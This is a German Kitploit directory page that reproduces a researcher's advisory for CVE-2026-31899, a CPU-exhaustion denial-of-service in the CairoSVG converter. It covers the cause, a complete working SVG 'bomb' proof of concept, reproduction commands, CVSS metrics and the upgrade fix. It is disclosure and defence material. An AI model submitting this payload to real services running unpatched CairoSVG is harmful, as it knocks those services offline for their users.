Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-31899 — CVE-2026-31899: Exponentielle DoS durch rekursive <use>-Elementverstärkung in CairoSVG (CVSS 7.5 Hoch) | Kitploit
Tools/GitHubGitHub/snailsploit/cve-2026-31899
SchwachstellenanalyseExploitationWebsicherheitPapers & ForschungLernen & Bildung
GitHubsnailsploit/cve-2026-31899

CVE-2026-31899

CVE-2026-31899: Exponentielle DoS durch rekursive <use>-Elementverstärkung in CairoSVG (CVSS 7.5 Hoch)

Repository anzeigen
1vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-31899: Exponentieller DoS durch rekursive -Element-Verstärkung in CairoSVG

CVE CVSS Score Python Package CWE-400 GHSA

Schlüsselwörter: CVE-2026-31899, CairoSVG, exponentieller DoS, SVG-Bombe, rekursives use-Element, Denial-of-Service, XML-Verstärkung, Python SVG-Schwachstelle, CWE-400, unkontrollierter Ressourcenverbrauch, Billion Laughs SVG

Inhaltsverzeichnis

Übersicht
  • Schwachstellendetails
  • Technische Analyse
  • Proof of Concept
  • Auswirkungen
  • Abhilfe
  • CVSS-Metriken
  • Referenzen
  • Kontakt
  • Übersicht

    CairoSVG Exponential Denial of Service (CVE-2026-31899) — Ein 1.411 Byte großes SVG-Payload belegt die CPU dauerhaft zu 100 % durch rekursive -Element-Verstärkung.

    CairoSVG (~300K Downloads/Woche) ist ein weit verbreiteter SVG-zu-PNG/PDF-Konverter in Python. Die use()-Funktion in cairosvg/defs.py verarbeitet -Elemente rekursiv, ohne Begrenzung der Tiefe oder Anzahl. Mit 5 Verschachtelungsebenen und jeweils 10 Referenzen löst ein kleines SVG 10^5 = 100.000 Rendering-Aufrufe aus – eine SVG-Variante des „Billion Laughs“-Angriffs.

    Entdeckt von: Kai Aizen — SnailSploit Veröffentlicht: 13. März 2026 CVSS-Score: 7.5 (Hoch) CWE: CWE-400 — Unkontrollierter Ressourcenverbrauch Paket: CairoSVG (PyPI) Angriffstyp: Exponential Denial of Service Erforderliche Berechtigungen: Keine (Nicht authentifiziert)

    Schwachstellendetails

    Beschreibung

    Die use()-Funktion in cairosvg/defs.py (Zeile ~335) löst -Elemente rekursiv auf, die auf andere -Elemente verweisen. Es gibt weder eine Rekursionstiefenbeschränkung noch ein Gesamt-Element-Budget. Ein Angreifer kann ein kleines SVG erstellen, bei dem jede Schicht die vorherige Schicht N-mal referenziert, was O(N^depth) Rendering-Aufrufe aus O(depth) Eingabe erzeugt.

    Hauptmerkmale

    • Verstärkungsfaktor: O(10^N) Rendering-Aufrufe aus O(N) Eingabezeilen
    • Speicherprofil: Gleichbleibend ~43 MB – kein OOM-Kill, Prozess endet nie von selbst
    • CPU-Profil: 100% Single-Core dauerhaft ausgelastet
    • Payload-Größe: 1.411 Bytes

    Betroffene Versionen

    • Verwundbar: Alle Versionen < 2.9.0
    • Gepatcht: Version 2.9.0 und höher

    Technische Analyse

    Die Schwachstelle besteht, weil:

    1. Die use()-Funktion in defs.py jedes -Element verarbeitet, indem sie dessen xlink:href-Ziel nachschlägt
    2. Wenn das Ziel selbst eine Gruppe ist, die -Elemente enthält, werden diese rekursiv expandiert
    3. Es wird weder ein Tiefenzähler noch ein Element-Budget durchgesetzt
    4. Jede Ebene multipliziert die Arbeit mit dem Verzweigungsfaktor (z. B. 10x pro Ebene)

    Mit 5 Ebenen und einem Verzweigungsfaktor von 10:

    root@kitploit:~
    Ebene 0: 1 Element (root <use>)
    Ebene 1: 10 Elemente
    Ebene 2: 100 Elemente
    Ebene 3: 1.000 Elemente
    Ebene 4: 10.000 Elemente
    Ebene 5: 100.000 Rendering-Aufrufe
    

    Gesamt: 111.111 Rendering-Aufrufe aus einem 1.411 Byte großen Input.

    Proof of Concept

    SVG Payload poc.svg)

    root@kitploit:~
    <?xml version="1.0"?>
    <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
      <defs>
        <g id="a"><rect width="1" height="1"/></g>
        <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
        <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
        <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
        <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
      </defs>
      <use xlink:href="#e"/>
    </svg>
    

    Reproduktion

    Methode 1 – Kommandozeile:

    root@kitploit:~
    timeout 10 cairosvg poc.svg -o test.png
    # Erwartet: timeout beendet den Prozess nach 10 Sekunden (er wird nie fertig)
    

    Methode 2 – Python:

    root@kitploit:~
    import cairosvg
    import signal
    
    signal.alarm(5)  # Beenden nach 5 Sekunden
    try:
        cairosvg.svg2png(bytestring=open("poc.svg").read())
    except:
        print("[!!!] BESTÄTIGT: CPU-Erschöpfung – Prozess wurde in 5s nicht fertig")
    

    Auswirkungen

    Jeder Dienst, der SVG-Eingaben akzeptiert und CairoSVG zur Verarbeitung verwendet, ist verwundbar:

    AngriffsflächeBeispiel
    Miniaturansicht-ErstellungSVG hochladen → Server konvertiert in PNG
    PDF-ErstellungSVG in Dokument eingebettet → CairoSVG rendert
    Avatar-/BildverarbeitungVom Benutzer hochgeladene SVG-Profilbilder
    BerichtserstellungSVG-Diagramme in automatisierten Berichten
    CI/CD-PipelinesSVG-Assets während des Builds verarbeitet

    Eine einzelne Anfrage mit einem 1,4 KB Payload belegt den Verarbeitungsthread dauerhaft, während nur minimaler Speicher verbraucht wird (kein OOM-Kill, der Sie rettet).

    Abhilfe

    Sofortige Behebung

    Aktualisieren Sie CairoSVG auf Version 2.9.0 oder höher:

    root@kitploit:~
    pip install --upgrade CairoSVG>=2.9.0
    

    Defense in Depth

    • Setzen Sie Verarbeitungszeitlimits für alle SVG-Konvertierungs-Endpunkte
    • Implementieren Sie Eingabegrößenbeschränkungen für SVG-Uploads
    • Erwägen Sie die Sandboxing der SVG-Verarbeitung in isolierten Workern mit CPU-Zeitlimits

    CVSS v3.1 Metriken

    root@kitploit:~
    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    
    MetrikWert
    AngriffsvektorNetwork (AV:N)
    AngriffskomplexitätLow (AC:L)
    Erforderliche PrivilegienNone (PR:N)
    BenutzerinteraktionNone (UI:N)
    AuswirkungsbereichUnchanged (S:U)
    VertraulichkeitNone (C:N)
    IntegritätNone (I:N)
    VerfügbarkeitHigh (A:H)

    Zeitplan

    DatumEreignis
    2026-03-09CVE reserviert
    2026-03-13Advisory veröffentlicht (GHSA-f38f-5xpm-9r7c)
    2026-03-13CairoSVG 2.9.0 mit Fix veröffentlicht

    Referenzen

    • GHSA-f38f-5xpm-9r7c
    • NVD — CVE-2026-31899
    • CairoSVG auf PyPI
    • CWE-400: Unkontrollierter Ressourcenverbrauch
    • Fix Commit

    Kontakt

    Kai Aizen (SnailSploit)

    • Web: snailsploit.com
    • GitHub: @SnailSploit
    • LinkedIn: /in/kaiaizen

    ⚠️ Haftungsausschluss: Dieses Repository dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Der Proof of Concept wird bereitgestellt, um Verteidigern zu helfen, ihre Gefährdung zu validieren. Verantwortungsvoll nutzen.


    📚 Dokumentation & Autor

    Die vollständige Ausarbeitung, Methodik und verwandte Forschung dieses Projekts finden Sie unter:

    https://snailsploit.com/cves

    Erstellt von Kai Aizen — unabhängiger offensive Sicherheitsforscher.

    snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter

    Gleicher Angriff. Anderes Substrat.

    Tool herunterladen